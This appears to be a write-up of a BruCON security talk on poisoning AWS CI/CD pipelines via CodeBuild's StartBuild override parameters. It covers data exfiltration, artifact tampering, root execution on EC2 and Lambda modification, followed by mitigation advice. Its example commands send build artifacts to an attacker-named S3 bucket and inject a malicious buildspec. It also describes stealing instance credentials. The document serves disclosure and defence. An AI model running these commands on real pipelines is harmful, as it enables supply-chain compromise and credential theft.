The risk of CI/CD pipeline poisoning via CodeBuild
Asier Rivera (Technical Expert · PwC)
BruCON 0x0D · Day 1
Overview
In this BruCON talk, "The risk of CI/CD pipeline poisoning via CodeBuild," Asier Rivera from PwC sheds light on a critical, often overlooked, security vulnerability within AWS CI/CD pipelines. The presentation meticulously details how seemingly benign developer permissions can be abused to compromise the integrity of application deployments, leading to data exfiltration, application tampering, and the execution of arbitrary privileged commands on production servers. Rivera argues that small configuration decisions, particularly around the AWS CodeBuild service, can have a devastating impact, breaking the fundamental trust placed in automated deployment processes.

Key moments
- 0:45 Introduction: The risk of CI/CD pipeline poisoning
- 3:25 AWS CodeBuild: Computational power for build process
- 12:20 Vulnerability: StartBuild with override parameters
- 27:55 Demo 1: Root command execution on EC2 instance
- 33:45 Demo 2: Tampering with a Lambda application
- 38:40 AWS response and mitigation recommendations
- 46:00 Q&A: Monitoring parallel builds and detection
The risk of CI/CD pipeline poisoning via CodeBuild
Speakers: Asier Rivera, Technical Expert, PwC
Conference: BruCON
YouTube: https://www.youtube.com/watch?v=McZBcMRxPTA
Overview
In this BruCON talk, "The risk of CI/CD pipeline poisoning via CodeBuild," Asier Rivera from PwC sheds light on a critical, often overlooked, security vulnerability within AWS CI/CD pipelines. The presentation meticulously details how seemingly benign developer permissions can be abused to compromise the integrity of application deployments, leading to data exfiltration, application tampering, and the execution of arbitrary privileged commands on production servers. Rivera argues that small configuration decisions, particularly around the AWS CodeBuild service, can have a devastating impact, breaking the fundamental trust placed in automated deployment processes.
The talk challenges the conventional understanding of cloud services as mere "building blocks," urging security professionals and developers to delve deeper into their underlying properties, interconnections, and the true power of granted access rights. By focusing on AWS Code services, Rivera demonstrates how a developer role, typically perceived as low-risk, can exploit built-in functionality to "poison" the CI/CD pipeline. This research highlights a gap in current security models, where the default configurations and managed policies provided by cloud providers, combined with unclear documentation, can expose organizations to significant supply chain risks.
Rivera's presentation serves as a crucial wake-up call for organizations heavily invested in DevOps methodologies and cloud-native development. It underscores the necessity of re-evaluating access control strategies within CI/CD pipelines, particularly concerning the StartBuild action in AWS CodeBuild. The findings are not about zero-day exploits but rather the misuse of existing, powerful functionalities that, when combined, create a potent attack vector against the software supply chain. The implications extend beyond AWS, prompting a broader discussion on how cloud services are understood, configured, and secured across the industry.
Background
▶ Watch: Introduction: The risk of CI/CD pipeline poisoning (0:45)
The proliferation of DevOps methodologies has elevated CI/CD (Continuous Integration/Continuous Delivery) pipelines to a central role in modern software development. These pipelines automate the process of taking code from development, testing it, and deploying it to production environments. This automation, while boosting efficiency and speed, also centralizes trust; companies implicitly trust these pipelines to deliver secure, untampered code. Consequently, securing CI/CD pipelines has become paramount, but as Rivera points out, a deep understanding of the underlying cloud services is often lacking.
Rivera's research was driven by a passion for cloud security, application security, and secure development. He questioned whether developers and security professionals truly understand cloud services beyond their superficial "building block" abstraction. His deep dive focused on AWS, the world's leading cloud provider, specifically its Code services, which are core to building CI/CD pipelines:
- CodeCommit: A fully managed source control service that hosts secure Git-based repositories. It acts as the "source" phase, storing all repository data including source code and media files.
- CodeBuild: A fully managed continuous integration service that compiles source code, runs tests, and produces software packages that are ready to deploy. It provides the computational power, running tasks within a container. This service can also be used for the "test" phase by executing unit tests or scanners.
- CodeDeploy: A fully managed deployment service that automates software deployments to a variety of compute services such as Amazon EC2, AWS Lambda, and on-premises servers. It identifies deployment targets and manages the installation process for the "deploy" phase.
- CodePipeline: A fully managed continuous delivery service that automates release pipelines for fast and reliable application and infrastructure updates. It orchestrates the entire CI/CD workflow, connecting and managing the execution across CodeCommit, CodeBuild, CodeDeploy, and other services.
- CodeStar: A service that provides a unified user interface, enabling developers to quickly develop, build, and deploy applications on AWS. It leverages CodePipeline underneath for infrastructure and computation, adding layers of abstraction for project management, IDE integration, and team-based IAM roles (Owner, Contributor, Viewer).
Within this ecosystem, two key artifacts and two configuration files are crucial:
- Source Package: A ZIP file created by CodeCommit, representing the repository's content. It serves as the primary input for CodeBuild, containing everything needed to compile and prepare the application.
- Artifact Package: The output of CodeBuild, typically an application bundle (e.g., a JAR file, container image, or serverless package). This is consumed by CodeDeploy to update the target resource. It includes scripts and location information for files.
- buildspec.yaml: A YAML file used by CodeBuild, defining the build commands, environmental variables, and other properties to be executed within the CodeBuild container. It can be part of the source package or configured at the project level.
- appspec.yaml: A YAML file used by CodeDeploy, specifying the actions CodeDeploy should perform during deployment, such as installing files, running scripts, or defining the location of container images for serverless deployments.
Rivera's methodology involved deep diving into these services, conducting risk analysis and threat modeling, with the goal of identifying critical properties and areas for security focus. His subsequent findings reveal how default AWS managed policies, such as CodeBuildDeveloperAccess and CodeStarContributor, grant permissions that, when combined with specific CodeBuild parameters, create significant security vulnerabilities.
Key Findings
▶ Watch: Vulnerability: StartBuild with override parameters (12:20)
The central discovery of Asier Rivera's research is that a seemingly low-privilege developer, granted access through standard AWS managed policies like CodeBuildDeveloperAccess or the CodeStarContributor role, can effectively "poison" an AWS CI/CD pipeline. This is achieved by exploiting the StartBuild action in AWS CodeBuild when combined with two powerful, yet often overlooked, parameters: artifactsOverride and buildspecOverride.
Rivera's analysis highlights that these parameters allow a developer to:
- Redefine the output location of the build artifact: Using
artifactsOverride, an attacker can direct the final application bundle to an arbitrary location, such as a personal, publicly accessible S3 bucket. - Inject arbitrary commands into the build process:
buildspecOverrideallows the developer to supply a custombuildspec.yamlfile, effectively running any commands they desire within the CodeBuild container.
The critical insight is that AWS's own managed policies, designed to provide "developer" level access, include the codebuild:StartBuild action without any restrictions on these override parameters. This means a developer can initiate a build that deviates significantly from the intended, secure pipeline configuration. When Rivera presented these findings to AWS, their response was that "this runs as expected" and that it is "the problem of our customers to decide who has access to StartBuild." This stance underscores a fundamental disconnect between the perceived and actual power of this action, and the clarity of its documentation.
The implications of this finding are profound:
- Bypassing SDLC Security Controls: Traditional security mechanisms like peer code review, static application security testing (SAST), and dynamic application security testing (DAST) applied to the source code are rendered ineffective. An attacker can inject malicious code directly into the build process, bypassing source code scrutiny.
- Over-privileged "Developer" Roles: The default AWS managed policies for developers grant more power than many organizations realize, allowing them to subvert the pipeline's integrity without requiring "admin" level access.
- Supply Chain Vulnerability: The ability to tamper with application artifacts or exfiltrate sensitive data during the build process introduces a critical vulnerability into the software supply chain, akin to the SolarWinds attack, but accessible with seemingly lower-tier permissions.
- Lack of Visibility: As demonstrated in the CodeStar demo, these malicious builds can run without immediate visibility in higher-level abstraction UIs, making detection challenging.
In essence, Rivera's key finding is that the StartBuild action, when used with its override parameters, transforms a developer's ability to merely initiate a build into a potent vector for data exfiltration, application tampering, and privileged command execution, effectively poisoning the CI/CD pipeline from within.
Technical Deep Dive
▶ Watch: Demo 1: Root command execution on EC2 instance (27:55)
The core of Rivera's findings revolves around the misuse of the StartBuild action in AWS CodeBuild, specifically when leveraged with its artifactsOverride and buildspecOverride parameters. These parameters, while intended for legitimate use cases like debugging or specific testing scenarios, become powerful weapons in the hands of a malicious or compromised developer.
Let's break down the technical mechanisms behind the three primary attack vectors identified:
1. Exfiltrating Sensitive Data
The CodeBuild environment, by its nature, has access to all necessary components for a build: source code, libraries, third-party dependencies, environment variables, and crucially, secrets like signing certificates, passwords, private URLs for internal infrastructure, and other configuration information. A compromised StartBuild action can be used to exfiltrate this data in two ways:
- Option 1: Artifact Location Override (
artifactsOverride): A developer can specify a new, attacker-controlled S3 bucket as the destination for the final build artifact. The CodeBuild process will execute as normal, compiling the legitimate application. However, at the final step, instead of depositing the artifact in the company's secure S3 bucket, it will copy it to the attacker's bucket. This allows the attacker to obtain a valid, functional application bundle, potentially containing sensitive hardcoded values or intellectual property. - Example:
aws codebuild start-build --project-name MyProject --artifacts-override type=S3,location=my-attacker-s3-bucket/malicious-app - Option 2: Buildspec Override for Direct Exfiltration (
buildspecOverride): By default, CodeBuild containers run within a VPC that has internet access. An attacker can inject a custombuildspec.yamlthat, after the legitimate compilation, includes commands to directly exfiltrate sensitive files or environment variables. This could involve usingscp,sftp,curl, or other network utilities to send data to an attacker-controlled server. - Example
buildspec.yamlsnippet:
This method allows direct access and exfiltration of any data accessible within the build container, including secrets mounted as environment variables or files on the filesystem.
2. Tampering with the Application
This attack vector focuses on injecting malicious code or functionality directly into the application bundle that will eventually be deployed. Using buildspecOverride, a developer can modify the build process to include extra "spiciness" into the application.
- The custom
buildspec.yamlwould perform the standard compilation steps but then introduce additional commands to embed malware, backdoors, or other malicious functionalities into the compiled application. - Once the poisoned artifact is generated, it will proceed through the pipeline and potentially be deployed to production. This is highly analogous to the SolarWinds attack, where malicious code was injected into legitimate software updates, affecting numerous customers.
- This approach effectively bypasses traditional peer code review processes, as the malicious code is not part of the committed source code but is injected during the build itself.
3. Running Privileged Commands in the Deployment Server
This is arguably the most impactful attack. It leverages buildspecOverride to modify the appspec.yaml file within the artifact package.
- The malicious
buildspec.yamlensures that theappspec.yamlincluded in the final artifact package contains arbitrary commands. - Crucially, the
appspec.yamlsupports arunasproperty for scripts, which can be set toroot. This allows the CodeDeploy agent, running on the target EC2 instance or server, to execute the attacker's scripts with elevated privileges. - When CodeDeploy retrieves the poisoned artifact bundle, its agent reads the modified
appspec.yamland executes the malicious commands as root on the production server. - Example
appspec.yamlsnippet (injected bybuildspecOverride):
The install_malware.sh script (also included in the poisoned artifact) would then execute with root privileges.
A significant challenge for this attack is ensuring the poisoned artifact is selected for deployment, given that CodePipeline often randomizes artifact names for versioning. Rivera identified two methods to overcome this:
- Option 1:
ListActionExecutions(CodePipeline): A developer withcodepipeline:ListActionExecutions(often part of read-only policies) can query CodePipeline to discover the randomized names of legitimate artifact packages. The attacker can then useartifactsOverridewith the known legitimate name to overwrite it with their poisoned version. - Option 2: CodeBuild's Own Knowledge: CodeBuild itself needs to know where to store the package. The developer can use CodeBuild-specific actions (like
codebuild:BatchGetBuildsandcodebuild:ListBuildswhich are part of theCodeBuildDeveloperAccesspolicy) to infer or discover the randomized artifact name.
Once the legitimate artifact name is known, the attacker's poison build is run in parallel. The goal is for the poison build to finish after the legitimate build but before CodeDeploy fetches the artifact, thus overwriting the legitimate package with the malicious one.
These technical details underscore how existing functionalities, when combined, create a powerful and stealthy attack surface that bypasses many conventional security assumptions and controls.
Demo / Proof of Concept
▶ Watch: AWS response and mitigation recommendations (38:40)
Asier Rivera demonstrated the efficacy of his findings through two live proof-of-concept (PoC) scenarios, showcasing the versatility of the pipeline poisoning technique against different AWS deployment models.
Demo 1: CodePipeline Targeting EC2 Instance Deployment
The first demonstration focused on a traditional CI/CD pipeline orchestrated by AWS CodePipeline, deploying to an EC2 instance.
- Pipeline Setup: A standard pipeline was configured with CodeCommit for source, CodeBuild for the build phase, a manual approval step, and CodeDeploy for deployment to a pre-configured EC2 instance. The EC2 instance had an
EC2ReadOnlyIAM role. - Attacker Tool: Rivera developed a Python-based tool (available on GitHub) to automate the attacker's actions. This tool performs three main functions:
- Find Randomized Name: Queries the pipeline to identify the randomized name of the legitimate artifact package. For this demo, it used
codepipeline:ListActionExecutions, which is often permitted in read-only or monitoring roles. - Start Parallel Poison Build: Initiates a new CodeBuild execution using the
StartBuildaction with bothartifactsOverride(to target the legitimate artifact's location) andbuildspecOverride(to inject malicious commands). - Monitor: Tracks the status of the poisoned build and its impact.
- Monitoring API: To demonstrate data exfiltration and monitoring, the tool integrated with a custom API (AWS API Gateway + Lambda + DynamoDB). The poisoned build would make a POST call to this API.
- Poisoned
buildspec.yamlActions: The custom buildspec executed two primary malicious actions:
- Exfiltration Proof: Made a POST call to the monitoring API, demonstrating the ability to exfiltrate data (e.g., secrets, certificates) from the CodeBuild container.
- Tampering/Privilege Escalation Proof: Created a file named
cppt_was_here_containerwithin the artifact package (demonstrating application tampering) and, critically, modified theappspec.yamlto execute a script that created a file namedcppt_was_here_serverin the root directory of the EC2 instance, usingrunas: root.
- Attacker Role: The demo used an IAM user (
aref_dev) with minimal permissions:codepipeline:ListActionExecutionsandcodebuild:StartBuild(unrestricted). - Execution and Results:
- The legitimate pipeline execution started.
- The Python tool continuously queried for the randomized artifact name.
- Once the name was found (e.g.,
1mh6-something), the tool initiated the poison build withartifactsOverrideto overwrite that specific artifact. - The poison build completed, notifying the API.
- When CodeDeploy performed its deployment, it downloaded the poisoned artifact.
- Result 1 (Privilege Escalation): The
cppt_was_here_serverfile was found in the/directory of the EC2 instance, owned byroot, confirming root command execution. - Result 2 (Data Exfiltration): The script in the poisoned artifact also exfiltrated the EC2 instance's own AWS credentials. Rivera demonstrated this by copying these credentials into his local AWS config, allowing his
aref_devuser (which previously had no S3 access) to assume the EC2 role and list S3 buckets. This showed a clear privilege escalation and exfiltration pathway from a developer role to the EC2 instance's capabilities.
Demo 2: CodeStar Targeting Serverless Lambda Deployment
The second demonstration illustrated the attack against a serverless application deployed via AWS CodeStar, modifying a Lambda function.
- Pipeline Setup: A CodeStar project was created using a standard Node.js Lambda web application template. This setup typically uses CodeCommit, CodeBuild, and CloudFormation for deployment.
- Attacker Role: The same
aref_devuser was used, but this time with theCodeStarContributorrole assigned to the project. Rivera noted that this role implicitly grants CodeBuild access that allows the attack. - Attack Goal: To tamper with the Lambda function's code, changing the web application's logic.
- Attack Method: The attacker did not use the Python tool, as the process was simpler. A custom
buildspec.yamlwas crafted: - It identified the target Lambda function's ARN (which could be listed by the developer's permissions).
- It included base64-encoded content for a new
index.htmlandindex.js. - It zipped these files.
- Crucially, it used the
aws lambda update-function-codecommand to directly update the Lambda function. It also updated the Lambda alias (live) to point to the newly published version. - Rivera highlighted that the CodeBuild project, as set up by AWS for CodeStar, already has sufficient permissions to modify Lambda functions, bypassing the need for CodeDeploy or CloudFormation for this specific action.
- Execution and Results:
- The
aref_devuser executedaws codebuild start-build --project-name brucon-codestar-project --buildspec-override file://malicious-buildspec.yaml --no-source. - The build ran and succeeded.
- Key Observation: No visible indication of this "poison build" appeared in the CodeStar pipeline UI. To see it, one had to navigate to the lower-level CodeBuild console. This highlights the stealthy nature of the attack within higher-abstraction services.
- Result: The live web application, powered by the Lambda function, was immediately updated with the attacker's modified
index.htmlandindex.js, demonstrating successful application tampering in a serverless environment.
Both demos powerfully illustrated that a developer, with seemingly standard permissions, could achieve significant compromises across different AWS deployment models, bypassing established security controls and often operating without immediate visibility in high-level dashboards.
Defensive Implications
▶ Watch: Q&A: Monitoring parallel builds and detection (46:00)
Asier Rivera's research provides critical insights for defenders. Given AWS's stance that the StartBuild action functions "as expected," the responsibility falls squarely on customers to implement robust security measures. Rivera offers several practical recommendations:
- Deny
StartBuildAccess (Where Possible):
- The most straightforward and highly recommended mitigation is to deny the
codebuild:StartBuildaction entirely, especially for production pipelines. - In most modern CI/CD setups, builds are triggered automatically (e.g., via webhooks when code is pushed to a master branch). Manual
StartBuildactions are often unnecessary. Automating this process removes the human element, reducing the attack surface. - If a specific user or role does not absolutely require the ability to manually initiate a build, revoke this permission.
- Leverage Lambda for Controlled
StartBuild(If Manual Triggering is Required):
- If there's a legitimate, unavoidable use case for manual build initiation, but without the override parameters, encapsulate the
StartBuildaction within an AWS Lambda function. - Developers would then trigger this Lambda function, which in turn calls
StartBuildfor a specified project. - The Lambda function's IAM role would have
codebuild:StartBuildpermission, but the Lambda code would be strictly controlled to never pass theartifactsOverrideorbuildspecOverrideparameters. This provides a secure wrapper, enforcing the desired behavior.
- Rethink Pipeline Architecture and Task Ordering (If Overrides are Essential - Not Recommended):
- If an organization absolutely requires users to have
StartBuildaccess with override parameters (Rivera strongly advises against this), a fundamental re-evaluation of the CI/CD pipeline architecture is necessary. - Identify Security-Critical Tasks: Pinpoint stages that involve sensitive operations like code signing, secret management, or critical security checks.
- Enforce Correct Ordering: Ensure that these security-critical tasks occur after any potential modification points in the pipeline. For example, if a developer can modify code in "Step 1," and code signing happens in "Step 3," the signing process is already compromised. Critical verification steps should be placed as late as possible and be immutable.
- Granular Access Control: After critical security tasks are performed, aggressively deny further modification or override capabilities. The principle of least privilege should be applied rigorously at every stage.
- Rivera's strong recommendation remains: if possible, avoid granting
StartBuildwith override capabilities to any human user.
- Enhanced Monitoring and Auditing:
- While not a primary defense against the core vulnerability, improved monitoring can aid in detection. Organizations should monitor CloudTrail logs for
codebuild:StartBuildevents, specifically looking for the presence ofartifactsOverrideorbuildspecOverrideparameters. - Implement alerts for unusual build activities, parallel builds initiated by human users, or builds targeting non-standard artifact locations. However, as Rivera noted, in large, complex pipelines, distinguishing malicious activity from legitimate parallel builds can be challenging without significant investment.
- Educate Developers and Security Teams:
- Raise awareness among both developers and security professionals about the power of
StartBuildand the risks associated with its override parameters. This includes understanding the full scope of AWS managed policies and their implications. - Regularly review IAM policies for CodeBuild and other CI/CD services to ensure they adhere to the principle of least privilege and explicitly deny dangerous combinations of permissions.
By implementing these defensive strategies, organizations can significantly reduce their exposure to CI/CD pipeline poisoning via CodeBuild, reinforcing the trust in their automated software delivery processes.
Key Takeaways
- Cloud services are not just "building blocks"; a deep understanding of their properties, interconnections, and the true power of granted access rights is essential for robust security.
- The
StartBuildaction in AWS CodeBuild, when combined withartifactsOverrideandbuildspecOverrideparameters, is extremely powerful and can be misused by seemingly low-privileged users. - AWS managed policies like
CodeBuildDeveloperAccessandCodeStarContributorare often over-permissive, granting thecodebuild:StartBuildaction without restricting these dangerous override parameters. - A developer can leverage this vulnerability to exfiltrate sensitive data (e.g., secrets, certificates, intellectual property), tamper with application bundles (injecting malware or backdoors), and execute arbitrary privileged commands on deployment servers (e.g., EC2 instances).
- These attacks can bypass traditional SDLC security controls like peer code review and existing monitoring/auditing solutions, operating stealthily within the pipeline.
- Defenders must re-evaluate and restrict
StartBuildpermissions, ideally denying access to override parameters entirely. Automating CI/CD triggers (e.g., from SCM pushes) can eliminate the need for manualStartBuildactions, reducing risk.
About the Speaker(s)
Asier Rivera Fernandez is a Technical Expert at PwC. He began his academic journey studying computer sciences in the Basque Country, Spain, before moving to Sweden to pursue his master's degree. He completed his master's thesis at KU Leuven in Belgium. Asier is deeply passionate about cloud security, application security, and secure development. He enjoys brainstorming and discussing innovative, sometimes "crazy," ideas with colleagues, which occasionally lead to significant discoveries like the one presented in this talk. His work focuses on understanding the intricacies of cloud services to identify and mitigate security risks.
Reviews
- Heather Calloway (CISO) — MUST SEE ★★★★★